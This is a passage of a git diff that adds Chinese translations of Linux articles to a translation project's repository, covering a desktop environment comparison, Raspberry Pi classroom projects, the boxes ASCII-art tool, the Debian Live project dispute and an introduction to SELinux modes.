+同 XFCE 一样,用户需要去搜索并下载自己喜欢的主题,然后,用户可以再次使用 GNOME Tweak tool,并点击该工具界面左边的“外观”按钮,接着用户便可以直接查看页面底部并点击文件浏览按钮,然后浏览到那个压缩的文件夹并打开。当完成这些之后,用户将会看到一个告诉用户已经成功应用了主题的对话框,这样你的主题便已经安装完成。然后用户就可以简单的使用下拉菜单来选择他们想要的主题。和 XFCE 一样,主题激活的过程也是十分简单的,然而,对于因为要使用一个新的主题而去下载一个没有预先安装到系统里面的应用,这种情况也是需要考虑的。 + +最后,就是 KDE 桌面主题定制的过程了。和 XFCE 一样,不需要去下载额外的工具来安装主题。从这点来看,让人有种XFCE 可能要被 KDE 战胜了的感觉。不仅在 KDE 上可以完全使用图形用户界面来安装主题,而且甚至只需要用户点击获取新主题的按钮就可以找到、查看新的主题,并且最后自动安装。 + +然而,我们应该注意到 KDE 相比 XFCE 而言,是一个更加健壮完善的桌面环境。当然,对于主要以极简设计为目的的桌面来说,缺失一些更多的功能是有一定的道理的。为此,我们要为这样优秀的功能给 KDE 加分。 + +### MATE 不是一个轻量级的桌面环境 ### + +在继续比较 XFCE、GNOME3 和 KDE 之前,对于老手我们需要澄清一下,我们没有将 MATE 桌面环境加入到我们的比较中。MATE 可被看作是 GNOME2 的另一个衍生品,但是它并没有主要作为一款轻量级或者快捷桌面出现。相反,它的主要目的是成为一款更加传统和舒适的桌面环境,并使它的用户在使用它时就像在家里一样舒适。 + +另一方面,XFCE 生来就是要实现他自己的一系列使命。XFCE 给它的用户提供了一个更轻量而仍保持吸引人的视觉体验的桌面环境。然后,对于一些认为 MATE 也是一款轻量级的桌面环境的人来说,其实 MATE 真正的目标并不是成为一款轻量级的桌面环境。这两种选择在各自安装了一款好的主题之后看起来都会让人觉得非常具有吸引力。 + +### 桌面导航 ### + +XFCE 除了桌面,还提供了一个醒目的导航器。任何使用过传统的 Windows 或者 GNOME 2/MATE 桌面环境的用户都可以在没有任何帮助的情况下自如的使用新安装的 XFCE 桌面环境的导航器。紧接着,添加小程序到面板中也是很显眼的。就像找一个已经安装的应用程序一样,直接使用启动器并点击你想要运行的应用程序图标就行。除了 LXDE 和 MATE 之外,还没有其他的桌面的导航器可以做到如此简单。不仅如此,更好的是控制面板的使用是非常容易使用的,对于刚刚使用这个新桌面的用户来说这是一个非常大的好处。如果用户更喜欢通过老式的方法去使用他们的桌面,那么 GNOME 就不合适。通过热角而取代了最小化按钮,加上其他的应用排布方式,这可以让大多数新用户易于使用它。 + +如果用户来自类似 Windows 这样的桌面环境,那么这些用户需要摒弃这些习惯,不能简单的通过鼠标右击一下就将一个小程序添加到他们的工作空间顶部。与此相反,它可以通过使用扩展来实现。GNOME 是可以安装拓展的,并且是非常的容易,这些容易之处体现在只需要用户简单的使用位于 GNOME 扩展页面上的 on/off 开关即可。不过,用户必须知道这个东西,才能真正使用上这个功能。 + +另一方面,GNOME 正在它的外观中体现它的设计理念,即为用户提供一个直观和易用的控制面板。你可能认为那并不是什么大事,但是,在我看来,它确实是我认为值得称赞并且有必要被提及的方面。KDE 给它的用户提供了更多的传统桌面使用体验,并通过提供相似的启动器和一种更加类似的获取软件的方式的能力来迎合来自 Windows 的用户。添加小部件或者小程序到 KDE 桌面是件非常简单的事情,只需要在桌面上右击即可。唯一的问题是 KDE 中这个功能不好发现,就像 KDE 中的其它东西一样,对于用户来说好像是隐藏的。KDE 的用户可能不同意我的观点,但我仍然坚持我的说法。 + +要增加一个小部件,只要在“我的面板”上右击就可以看见面板选项,但是并不是安装小部件的一个直观的方法。你并不能看见“添加部件”,除非你选择了“面板选项”,然后才能看见“添加部件”。这对我来说不是个问题,但是对于一些用户来说,它变成了不必要的困惑。而使事情变得更复杂的是,在用户能够找到部件区域后,他们后来发现一种称为“活动”的新术语。它和部件在同一个地方,可是它在自己的区域却是另外一种行为。 + +现在请不要误解我,KDE 中的活动特性是很不错的,也是很有价值的,但是从可用性的角度看,为了不让新手感到困惑,它更加适合于放在另一个菜单项。用户各有不同,但是让新用户多测试一段时间可以让它不断改进。对“活动”的批评先放一边,KDE 添加新部件的方法的确很棒。与 KDE 的主题一样,用户不能通过使用提供的图形用户界面浏览和自动安装部件。这是一个有点神奇的功能,但是它这样也可以工作。KDE 的控制面板可能和用户希望的样子不一样,它不是足够的简单。但是有一点很清楚,这将是他们致力于改进的地方。 + +### 因此,XFCE 是最好的桌面环境,对吗? ### + +就我自己而言,我在我的计算机上使用 GNOME、KDE,并在我的办公室和家里的电脑上使用 Xfce。我也有一些老机器在使用 Openbox 和 LXDE。每一个桌面的体验都可以给我提供一些有用的东西,可以帮助我以适合的方式使用每台机器。对我来说,Xfce 是我的心中的挚爱,因为 Xfce 是一个我使用了多年的桌面环境。但对于这篇文章,我是用我日常使用的机器来撰写的,事实上,它用的是 GNOME。 + +这篇文章的主要思想是,对于那些正在寻找稳定的、传统的、容易理解的桌面环境的用户来说,我还是觉得 Xfce 能提供好一点的用户体验。欢迎您在评论部分和我们分享你的意见。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/kde-vs-gnome-vs-xfce-desktop/ + +作者:[M.el Khamlichi][a] +译者:[kylepeng93](https://github.com/kylepeng93) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ diff --git a/published/201605/20151207 5 great Raspberry Pi projects for the classroom.md b/published/201605/20151207 5 great Raspberry Pi projects for the classroom.md new file mode 100644 index 0000000000..ddf2258d97 --- /dev/null +++ b/published/201605/20151207 5 great Raspberry Pi projects for the classroom.md @@ -0,0 +1,94 @@ +5 个很适合在课堂上演示的树莓派项目 +===================================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/osdc-open-source-yearbook-lead3.png?itok=fSUS0fIt) + +### 1. 我的世界: Pi + +![](https://opensource.com/sites/default/files/lava.png) + +*源于 Raspberry Pi 基金会. [CC BY-SA 4.0][1]* + +“我的世界”是世界上几乎每一个青少年都特别喜欢的一款游戏,而且它成功抓住了年轻人眼球,成为目前最能激发年轻人创造力的游戏之一。这个树莓派版本自带的我的世界不仅仅是一个具有创造性的建筑游戏,还是一个具有编程接口,可以通过 Python 与之交互的版本。 + +我的世界:Pi 版对于老师来说是一个教授学生解决问题和编写代码完成任务的好方式。你可以使用 Python API 创建一个房子,并且一直跟随这你的脚步移动,在所到之处建造一座桥,让天空落下熔岩雨滴,在空中显示温度,以及其它你可以想象到的一切东西。 + +详情请见 "[我的世界: Pi 入门][2]" + +### 2. 反应游戏和交通灯 + +![](https://opensource.com/sites/default/files/pi_traffic_installed_yellow_led_on.jpg) + +*源于 [Low Voltage Labs][3]. [CC BY-SA 4.0][1]* + +使用树莓派可以很轻松地进行物理计算,只需要连接几个 LED 和按钮到开发板上的 GPIO 接口,再用几行代码你就可以按下按钮来开灯。一旦你了解了如何使用代码来完成这些基本的操作,接下来就可以根据你的想象来做其它事情了。 + +如果你知道如何让一个灯闪烁,你就可以控制三个灯闪烁。挑选三个和交通灯一样颜色的 LED 灯,然后编写控制交通灯的代码。如果你知道如何使用按钮触发事件,那么你就可以模拟一个行人过马路。同时你可以参考其它已经完成的交通灯附件,比如[PI-TRAFFIC][4], [PI-STOP][5], [Traffic HAT][6],等等。 + +代码并不是全部——这只是一个演练,让你理解现实世界里系统是如何完成设计的。计算思维是一个让你终身受用的技能。 + +![](https://opensource.com/sites/default/files/reaction-game.png) + +*源于 Raspberry Pi 基金会. [CC BY-SA 4.0][1]* + +接下来试着接通两个按钮和 LED 灯的电源,实现一个双玩家的反应游戏 —— 让 LED 灯随机时间点亮,然后看是谁抢先按下按钮。 + +要想了解更多可以看看 [GPIO Zero recipes][7]。你所需要的资料都可以在 [CamJam EduKit 1][8] 找到。 + +### 3. Sense HAT 电子宠物 + +Astro Pi —— 一个增强版的树莓派 —— 将在 12 月问世,但是你并没有错过亲手把玩这个硬件的机会。Sense HAT 是使用在 Astro Pi 的一个传感器扩展板,现在已经开放购买了。你可以使用它来进行数据搜集、科学实验,游戏等等。可以看看下面树莓派的 Carrie Anne 拍摄的 Gurl Geek Diaries 的视频,里面演示了一种很棒的入门途径——在 Sense HAT 屏幕上自己设计一个生动的像素宠物: + +[video](https://youtu.be/gfRDFvEVz-w) + +> 详见 "[探索 Sense HAT][9]." + +### 4. 红外鸟笼 + +![](https://opensource.com/sites/default/files/ir-bird-box.png) + +*源于 Raspberry Pi 基金会. [CC BY-SA 4.0][1]* + +让整个班级都可以参与进来的好主意是在鸟笼里放置一个树莓派和夜视镜头,以及一些红外线灯,这样子你就可以在黑暗中看见鸟笼里的情况了,然后使用树莓派通过网络串流视频。然后就可以等待小鸟归笼了,你可以在不打扰的情况下近距离观察小窝里的它们了。 + +要了解更多有关红外线和光谱的知识,以及如何校准摄像头焦点和使用软件控制摄像头,可以访问 [打造一个红外鸟笼][10]。 + +### 5. 机器人 + +![](https://opensource.com/sites/default/files/edukit3_1500-alex-eames-sm.jpg) + +*源于 Raspberry Pi 基金会. [CC BY-SA 4.0][1]* + +只需要一个树莓派、很少的几个电机和电机控制器,你就可以自己动手制作一个机器人。可以制作的机器人有很多种,从简单的由几个轮子和自制底盘拼凑的简单小车,到由游戏控制器驱动、具有自我意识、配备了传感器,安装了摄像头的金属小马。 + +要学习如何控制不同的电机,可以使用 RTK 电机驱动开发板入门或者使用配置了电机、轮子和传感器的 CamJam 机器人开发套件——具有很大的价值和大量的学习潜力。 + +或者,如果你还想了解更多核心内容,可以试试 PiBorg 的 [4Borg][11](£99/$150)和 [DiddyBorg][12](£180/$273),或者购买 Metal 版 DoodleBorg (£250/$380),然后构建一个最小版本的 [DoodleBorg tank][13](非卖品)。 + +详情可见 [机器人装备表][14]。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/education/15/12/5-great-raspberry-pi-projects-classroom + +作者:[Ben Nuttall][a] +译者:[ezio](https://github.com/oska874) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bennuttall +[1]: https://creativecommons.org/licenses/by-sa/4.0/ +[2]: https://opensource.com/life/15/5/getting-started-minecraft-pi +[3]: http://lowvoltagelabs.com/ +[4]: http://lowvoltagelabs.com/products/pi-traffic/ +[5]: http://4tronix.co.uk/store/index.php?rt=product/product&product_id=390 +[6]: https://ryanteck.uk/hats/1-traffichat-0635648607122.html +[7]: http://pythonhosted.org/gpiozero/recipes/ +[8]: http://camjam.me/?page_id=236 +[9]: https://opensource.com/life/15/10/exploring-raspberry-pi-sense-hat +[10]: https://www.raspberrypi.org/learning/infrared-bird-box/ +[11]: https://www.piborg.org/4borg +[12]: https://www.piborg.org/diddyborg +[13]: https://www.piborg.org/doodleborg +[14]: http://camjam.me/?page_id=1035#worksheets diff --git a/published/201605/20151215 Linux or Unix Desktop Fun--Text Mode ASCII-art Box and Comment Drawing.md b/published/201605/20151215 Linux or Unix Desktop Fun--Text Mode ASCII-art Box and Comment Drawing.md new file mode 100644 index 0000000000..639f29b851 --- /dev/null +++ b/published/201605/20151215 Linux or Unix Desktop Fun--Text Mode ASCII-art Box and Comment Drawing.md @@ -0,0 +1,200 @@ +Linux/Unix 桌面趣事:文字模式下的 ASCII 艺术与注释绘画 +================================================================================ +boxes 命令不仅是一个文本过滤器,同时是一个很少人知道的有趣工具,它可以在输入的文本或者代码周围框上各种ASCII 艺术画。你可以用它快速创建邮件签名,或者在各种编程语言中留下评论块。这个命令可以在 vim 文本编辑器中使用,但是也可以在各种支持过滤器的文本编辑器中使用,同时也可以在命令行中单独使用。 + +### 任务: 安装 boxes ### + +使用 [apt-get 命令][1] 在 Debian / Ubuntu Linux 中安装 boxes: + + $ sudo apt-get install boxes + +输出示例: + + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following NEW packages will be installed: + boxes + 0 upgraded, 1 newly installed, 0 to remove and 6 not upgraded. + Need to get 0 B/59.8 kB of archives. + After this operation, 205 kB of additional disk space will be used. + Selecting previously deselected package boxes. + (Reading database ... 224284 files and directories currently installed.) + Unpacking boxes (from .../boxes_1.0.1a-2.3_amd64.deb) ... + Processing triggers for man-db ... + Setting up boxes (1.0.1a-2.3) ... + +RHEL / CentOS / Fedora Linux 用户, 使用 [yum 命令来安装][2] boxes,(请先[启用 EPEL 软件仓库][3]): + + # yum install boxes + +输出示例: + + Loaded plugins: rhnplugin + Setting up Install Process + Resolving Dependencies + There are unfinished transactions remaining. You might consider running yum-complete-transaction first to finish them. + --> Running transaction check + ---> Package boxes.x86_64 0:1.1-8.el6 will be installed + --> Finished Dependency Resolution + Dependencies Resolved + ========================================================================== + Package Arch Version Repository Size + ========================================================================== + Installing: + boxes x86_64 1.1-8.el6 epel 64 k + Transaction Summary + ========================================================================== + Install 1 Package(s) + Total download size: 64 k + Installed size: 151 k + Is this ok [y/N]: y + Downloading Packages: + boxes-1.1-8.el6.x86_64.rpm | 64 kB 00:00 + Running rpm_check_debug + Running Transaction Test + Transaction Test Succeeded + Running Transaction + Installing : boxes-1.1-8.el6.x86_64 1/1 + Installed: + boxes.x86_64 0:1.1-8.el6 + Complete! + +FreeBSD 用户可以按如下使用: + + cd /usr/ports/misc/boxes/ && make install clean + +或者,使用 pkg_add 命令来增加包: + + # pkg_add -r boxes + +### 在一些给定文本周围画出任何种类的包围框 ### + +输入下列命令: + + echo "This is a test" | boxes + +或者,指定要使用的图案的名字: + + echo -e "\n\tVivek Gite\n\tvivek@nixcraft.com\n\twww.cyberciti.biz" | boxes -d dog + +输出示例 : + +![Unix / Linux: Boxes Command To Draw Various Designs](http://s0.cyberciti.org/uploads/l/tips/2012/06/unix-linux-boxes-draw-dog-design.png) + +*图01: Unix / Linux: Boxes 命令来画出各式各样的图案 * + +#### 怎么样输出所有的图案 #### + +语法如下: + + boxes option + pipe | boxes options + echo "text" | boxes -d foo + boxes -l + +-d 选项用来设置要使用的图案的名字。语法如下: + + echo "Text" | boxes -d design + pipe | boxes -d desig + +-l 选项列出所有图案。它显示了在配置文件中的所有的框线设计图,同时也显示关于其创作者的信息。 + + boxes -l + boxes -l | more + boxes -l | less + +输出示例: + + 43 Available Styles in "/etc/boxes/boxes-config": + ------------------------------------------------- + ada-box (Neil Bird ): + --------------- + -- -- + -- -- + --------------- + ada-cmt (Neil Bird ): + -- + -- regular Ada + -- comments + -- + boy (Joan G. Stark ): + .-"""-. + / .===. \ + \/ 6 6 \/ + ( \___/ ) + _________ooo__\_____/______________ + / \ + | joan stark spunk1111@juno.com | + | VISIT MY ASCII ART GALLERY: | + | http://www.geocities.com/SoHo/7373/ | + \_______________________ooo_________/ jgs + | | | + |_ | _| + | | | + |__|__| + /-'Y'-\ + (__/ \__) + .... + ... + output truncated + .. + +### 在使用 vi/vim 文本编辑器时如何通过 boxes 过滤文本? ### + +你可以在 vi 或 vim 中使用任何外部命令,比如在这个例子中,[插入当前日期和时间][4],输入: + + !!date + +或者 + + :r !date + +你需要在 vim 中输入以上命令来读取 date 命令的输出,这将在当前行后面加入日期和时分秒: + + Tue Jun 12 00:05:38 IST 2012 + +你可以用 boxes 命令做到同样的功能。如下创建一个作为示例的 shell 脚本或者c程序: + + + #!/bin/bash + Purpose: Backup mysql database to remote server. + Author: Vivek Gite + Last updated on: Tue Jun, 12 2012 + +现在输入如下(将光标移到第二行,也就是以“Purpose: ...”开头的行) + + 3!!boxes + +瞧,你就会看到如下的输出 : + + #!/bin/bash + /****************************************************/ + /* Purpose: Backup mysql database to remote server. */ + /* Author: Vivek Gite */ + /* Last updated on: Tue Jun, 12 2012 */ + /****************************************************/ +这个短片将会给你介绍boxes命令: + +注:youtube 视频 + + + +参见 + +- boxes 帮助手册 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/tips/unix-linux-draw-any-kind-of-boxes-around-text-editor.html + +作者:Vivek Gite +译者:[zky001](https://github.com/zky001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:http://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html +[2]:http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ +[3]:http://www.cyberciti.biz/faq/fedora-sl-centos-redhat6-enable-epel-repo/ +[4]:http://www.cyberciti.biz/faq/vim-inserting-current-date-time-under-linux-unix-osx/ diff --git a/published/201605/20151227 Upheaval in the Debian Live project.md b/published/201605/20151227 Upheaval in the Debian Live project.md new file mode 100644 index 0000000000..9b3d4dc2f0 --- /dev/null +++ b/published/201605/20151227 Upheaval in the Debian Live project.md @@ -0,0 +1,67 @@ +Debian Live项目的剧变 +================================================================================== + +尽管围绕 Debian Live 项目发生了很多戏剧性事件,关于 [Debian Live 项目][1]结束的[公告][2]的影响力甚至小于该项目首次出现时的公告。主要开发者的离开是最显而易见的损失,而社区对他本人及其项目的态度是很令人困惑的,但是这个项目也许还是会以其他的形式继续下去。所以 Debian 仍然会有更多的工具去创造启动光盘和其他介质。尽管是用这样一种有遗憾的方式,项目创始人 Dabiel Baumann 和 Debian CD 团队以及安装检测团队之间出现的长期争论已经被「解决」了。                                      +在 11 月 9 日, Baumann 发表了题为「 Debian Live 项目的突然结束」的一篇公告。在那篇短文中,他一一列举出了自从这个和他有关的[项目被发起][3]以来近 10 年间发生的不同的事件,这些事件可以表明他在 Debian Live 项目上的努力一直没有被重视或没有被足够重视。最具决定性的因素是因为在「包的含义」上存在冲突, R.Learmonth [申请][4]了新的包名,而这侵犯了在 Debian Live 上使用的命名空间。 + +考虑到最主要的 Debian Live 包之一被命名为 live-build ,而 R.Learmonth 申请的新包名却是 live-build-ng ,这简直是对 live-build 的挑战。 live-build-ng 意为一种围绕 [vmdebootstrap][5]【译者注:创造真实的和虚拟机Debian的磁盘映像】工具的外部包装,这种包装是为了创造 live 介质(光盘和USB的插入),也是 Debian Live 最需要的的部分。但是当 Baumann Learmonth [要求][6]为他的包换一个不同的名字的时候,他得到了一个「有趣」的[回复][7]: + +``` +应该注意到, live-build 不是一个 Debian 项目,它是一个声称自己是官方 Debian 项目的外部项目,这是一个需要我们解决的问题。 +这不是命名空间的问题,我们要将以目前维护的 live-config 和 live-boot 包为基础,把它们加入到 Debian 的本地项目。如果迫不得已的话,这将会有很多分支,但是我希望它不要发生,这样的话我们就可以把这些包整合到 Debian 中并继续以一种协作的方式去开发。 +live-build 已经被 debian-cd 放弃,live-build-ng 将会取代它。至少在一个精简的 Debian 环境中,live-build 会被放弃。我们(开发团队)正在与 debian-cd 和 Debian Installer 团队合作开发 live-build-ng 。 +``` + +Debian Live 是一个「官方的」 Debian 项目(也可以是狭义的「官方」),尽管它因为思路上的不同产生过争论。除此之外, vmdebootstrap 的维护者 Neil Willians 为脱离 Debian Live 项目[提供了如下的解释][8]: + +``` +为了更好的支持 live-build 的代替者, vmdebootstrap 肯定会被推广。为了能够用 live-build 解决目前存在的问题,这项工作会由 debian-cd 团队来负责。这些问题包括可靠性问题,以及不能很好的支持多种机器和 UEFI 等。 vmdebootstrap 也存在着这些问题,我们用来自于对 live-boot 和 live-config 的支持情况来确定 vmdebootstrap 的功能。 +``` + +这些抱怨听起来合情合理,但是它们可能已经在目前的项目中得到了解决。然而一些秘密的项目有很明显的取代 live-build 的意图。正如 Baumann [指出][9]的,这些计划没有被发布到 debian-live 的邮件列表中。人们首次从 Debian Live 项目中获知这些计划正是因为这一次的ITP事件,所以它看起来像是一个「秘密计划」——有些事情在像 Debian 这样的项目中得不到很好的安排。 + +人们可能已经猜到了,有很多帖子都支持 Baumann [重命名][10] live-build-ng 的请求,但是紧接着,人们就因为他要停止继续在 Debian Live 上工作的决定而变得沮丧。然而 Learmonth 和 Williams 却坚持认为取代 live-build 很有必要。Learmonth 给 live-build-ng 换了一个争议性也许小一些的名字: live-wrapper 。他说他的目标是为 Debian Live 项目加入新的工具(并且「把 Debian Live 项目引入 Debian 里面」),但是完成这件事还需要很大的努力。 + +``` +我向已经被 ITP 问题所困扰的每个人道歉。我们已经告知大家 live-wrapper 还不足以完全替代 live-build 且开发工作仍在进行以收集反馈。尽管有了这部分的工作,我们收到的反馈缺并不是我们所需要的。 +``` + +这种对于取代 live-build 的强烈反对或许已经被预知到了。自由软件社区的沟通和交流很关键,所以,计划去替换一个项目的核心很容易引起争议——更何况是一个一直不为人所知的计划。从 Banumann 的角度来说,他当然不是完美的,他因为上传个不合适的 [syslinux 包][11]导致了 wheezy 的延迟发布,并且从那以后他被从 Debian 开发者暂时[降级][12]为 Debian 维护者。但是这不意味着他应该受到这种对待。当然,这个项目还有其他人参与,所以不仅仅是 Baumann 受到了影响。 + +Ben Armstrong 是其他参与者中的一位,在这个事件中,他很圆滑地处理了一些事,并且想从这个事件中全身而退。他从一封邮件[13]开始,这个邮件是为了庆祝这个项目,以及他和他的团队在过去几年取得的成果。正如他所说, Debian Live 的[下游项目列表][14]是很令人振奋的。在另一封邮件中,他也[指出][15]了这个项目不是没有生命力的: + +``` +如果 Debian CD 开发团队通过他们的努力开发出可行的、可靠的、经过完善测试替代品,以及一个合适的取代 live-build 的候选者,这对于 Debian 项目有利无害。如果他们继续做这件事,他们不会「用一个官方改良,但不可靠且几乎没有经过测试的待选者取代 live-build 」。到目前为止,我还没有看到他们那样做的迹象。其间, live-build 仍保留在存档中——它仍然处于良好状态,且没有一种经过改良的继任者来取代它,因此开发团队没有必要尽快删除它。 +``` + +11 月 24 号, Armstrong 也在[他的博客][16]上[发布][17]了一个有关 Debian Live 的新消息。它展示了从 Baumann 退出起两周内的令人高兴的进展。甚至有迹象表明 Debian Live 项目与 live-wrapper 开发者开展了合作。博客上也有了一个[计划表][18],同时不可避免地寻求更多的帮助。这让人们有理由相信围绕项目发生的戏剧性事件仅仅是一个小摩擦——也许不可避免,但绝不是像现在看起来这么糟糕。 + +--------------------------------- + +via: https://lwn.net/Articles/665839/ + +作者:Jake Edge +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + + +[1]: https://lwn.net/Articles/666127/ +[2]: http://live.debian.net/ +[3]: https://www.debian.org/News/weekly/2006/08/ +[4]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=804315 +[5]: http://liw.fi/vmdebootstrap/ +[6]: https://lwn.net/Articles/666173/ +[7]: https://lwn.net/Articles/666176/ +[8]: https://lwn.net/Articles/666181/ +[9]: https://lwn.net/Articles/666208/ +[10]: https://lwn.net/Articles/666321/ +[11]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=699808 +[12]: https://nm.debian.org/public/process/14450 +[13]: https://lwn.net/Articles/666336/ +[14]: http://live.debian.net/project/downstream/ +[15]: https://lwn.net/Articles/666338/ +[16]: https://lwn.net/Articles/666340/ +[17]: http://syn.theti.ca/2015/11/24/debian-live-after-debian-live/ +[18]: https://wiki.debian.org/DebianLive/TODO diff --git a/published/201605/20160204 An Introduction to SELinux.md b/published/201605/20160204 An Introduction to SELinux.md new file mode 100644 index 0000000000..777a4094a0 --- /dev/null +++ b/published/201605/20160204 An Introduction to SELinux.md @@ -0,0 +1,127 @@ +SELinux 入门 +=============================== + +回到 Kernel 2.6 时代,那时候引入了一个新的安全系统,用以提供访问控制安全策略的机制。这个系统就是 [Security Enhanced Linux (SELinux)][1],它是由[美国国家安全局(NSA)][2]贡献的,它为 Linux 内核子系统引入了一个健壮的强制控制访问(Mandatory Access Control)架构。 + +如果你在之前的 Linux 生涯中都禁用或忽略了 SELinux,这篇文章就是专门为你写的:这是一篇对存在于你的 Linux 桌面或服务器之下的 SELinux 系统的介绍,它能够限制权限,甚至消除程序或守护进程的脆弱性而造成破坏的可能性。 + +在我开始之前,你应该已经了解的是 SELinux 主要是红帽 Red Hat Linux 以及它的衍生发行版上的一个工具。类似地, Ubuntu 和 SUSE(以及它们的衍生发行版)使用的是 AppArmor。SELinux 和 AppArmor 有显著的不同。你可以在 SUSE,openSUSE,Ubuntu 等等发行版上安装 SELinux,但这是项难以置信的挑战,除非你十分精通 Linux。 + +说了这么多,让我来向你介绍 SELinux。 + +### DAC vs. MAC + +Linux 上传统的访问控制标准是自主访问控制(Discretionary Access Control,DAC)。在这种形式下,一个软件或守护进程以 User ID(UID)或 Set owner User ID(SUID)的身份运行,并且拥有该用户的目标(文件、套接字、以及其它进程)权限。这使得恶意代码很容易运行在特定权限之下,从而取得访问关键的子系统的权限。 + +另一方面,强制访问控制(Mandatory Access Control,MAC)基于保密性和完整性强制信息的隔离以限制破坏。该限制单元独立于传统的 Linux 安全机制运作,并且没有超级用户的概念。 + +### SELinux 如何工作 + +考虑一下 SELinux 的相关概念: + +- 主体(Subjects) +- 目标(Objects) +- 策略(Policy) +- 模式(Mode) + +当一个主体(Subject,如一个程序)尝试访问一个目标(Object,如一个文件),SELinux 安全服务器(SELinux Security Server,在内核中)从策略数据库(Policy Database)中运行一个检查。基于当前的模式(mode),如果 SELinux 安全服务器授予权限,该主体就能够访问该目标。如果 SELinux 安全服务器拒绝了权限,就会在 /var/log/messages 中记录一条拒绝信息。 + +听起来相对比较简单是不是?实际上过程要更加复杂,但为了简化介绍,只列出了重要的步骤。 + +### 模式 + +SELinux 有三个模式(可以由用户设置)。这些模式将规定 SELinux 在主体请求时如何应对。这些模式是: + +- Enforcing (强制)— SELinux 策略强制执行,基于 SELinux 策略规则授予或拒绝主体对目标的访问 +- Permissive (宽容)— SELinux 策略不强制执行,不实际拒绝访问,但会有拒绝信息写入日志 +- Disabled (禁用)— 完全禁用 SELinux + +![](https://www.linux.com/images/stories/66866/jack2-selinux_a.png) + +*图 1:getenforce 命令显示 SELinux 的状态是 Enforcing 启用状态。* + +默认情况下,大部分系统的 SELinux 设置为 Enforcing。你要如何知道你的系统当前是什么模式?你可以使用一条简单的命令来查看,这条命令就是 `getenforce`。这个命令用起来难以置信的简单(因为它仅仅用来报告 SELinux 的模式)。要使用这个工具,打开一个终端窗口并执行 `getenforce` 命令。命令会返回 Enforcing、Permissive,或者 Disabled(见上方图 1)。 + +设置 SELinux 的模式实际上很简单——取决于你想设置什么模式。记住:**永远不推荐关闭 SELinux**。为什么?当你这么做了,就会出现这种可能性:你磁盘上的文件可能会被打上错误的权限标签,需要你重新标记权限才能修复。而且你无法修改一个以 Disabled 模式启动的系统的模式。你的最佳模式是 Enforcing 或者 Permissive。 + +你可以从命令行或 `/etc/selinux/config` 文件更改 SELinux 的模式。要从命令行设置模式,你可以使用 `setenforce` 工具。要设置 Enforcing 模式,按下面这么做: + +1. 打开一个终端窗口 +2. 执行 `su` 然后输入你的管理员密码 +3. 执行 `setenforce 1` +4. 执行 `getenforce` 确定模式已经正确设置(图 2) + +![](https://www.linux.com/images/stories/66866/jack-selinux_b.png) + +*图 2:设置 SELinux 模式为 Enforcing。* + +要设置模式为 Permissive,这么做: + +1. 打开一个终端窗口 +2. 执行 `su` 然后输入你的管理员密码 +3. 执行 `setenforce 0` +4. 执行 `getenforce` 确定模式已经正确设置(图 3) + +![](https://www.linux.com/images/stories/66866/jack-selinux_c.png) + +*图 3:设置 SELinux 模式为 Permissive。* + +注:通过命令行设置模式会覆盖 SELinux 配置文件中的设置。 + +如果你更愿意在 SELinux 命令文件中设置模式,用你喜欢的编辑器打开那个文件找到这一行: + + SELINUX=permissive + +你可以按你的偏好设置模式,然后保存文件。 + +还有第三种方法修改 SELinux 的模式(通过 bootloader),但我不推荐新用户这么做。 + +### 策略类型 + +SELinux 策略有两种: + +- Targeted — 只有目标网络进程(dhcpd,httpd,named,nscd,ntpd,portmap,snmpd,squid,以及 syslogd)受保护 +- Strict — 对所有进程完全的 SELinux 保护 + +你可以在 `/etc/selinux/config` 文件中修改策略类型。用你喜欢的编辑器打开这个文件找到这一行: + + SELINUXTYPE=targeted + +修改这个选项为 targeted 或 strict 以满足你的需求。 + +### 检查完整的 SELinux 状态 + +有个方便的 SELinux 工具,你可能想要用它来获取你启用了 SELinux 的系统的详细状态报告。这个命令在终端像这样运行: + + sestatus -v + +你可以看到像图 4 那样的输出。 + +![](https://www.linux.com/images/stories/66866/jack-selinux_d.png) + +*图 4:sestatus -v 命令的输出。* + +### 仅是皮毛 + +和你预想的一样,我只介绍了 SELinux 的一点皮毛。SELinux 的确是个复杂的系统,想要更扎实地理解它是如何工作的,以及了解如何让它更好地为你的桌面或服务器工作需要更加地深入学习。我的内容还没有覆盖到疑难解答和创建自定义 SELinux 策略。 + +SELinux 是所有 Linux 管理员都应该知道的强大工具。现在已经向你介绍了 SELinux,我强烈推荐你回到 Linux.com(当有更多关于此话题的文章发表的时候)或看看 [NSA SELinux 文档][3] 获得更加深入的指南。 + +LCTT - 相关阅读:[鸟哥的 Linux 私房菜——程序管理与 SELinux 初探][4] + + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/learn/docs/ldp/883671-an-introduction-to-selinux + +作者:[Jack Wallen][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://www.linux.com/community/forums/person/93 +[1]: http://selinuxproject.org/page/Main_Page +[2]: https://www.nsa.gov/research/selinux/ +[3]: https://www.nsa.gov/research/selinux/docs.shtml +[4]: http://vbird.dic.ksu.edu.tw/linux_basic/0440processcontrol_5.php diff --git a/published/201605/20160223 Intel shows budget Android phone powering big-screen Linux.md b/published/201605/20160223 Intel shows budget Android phone 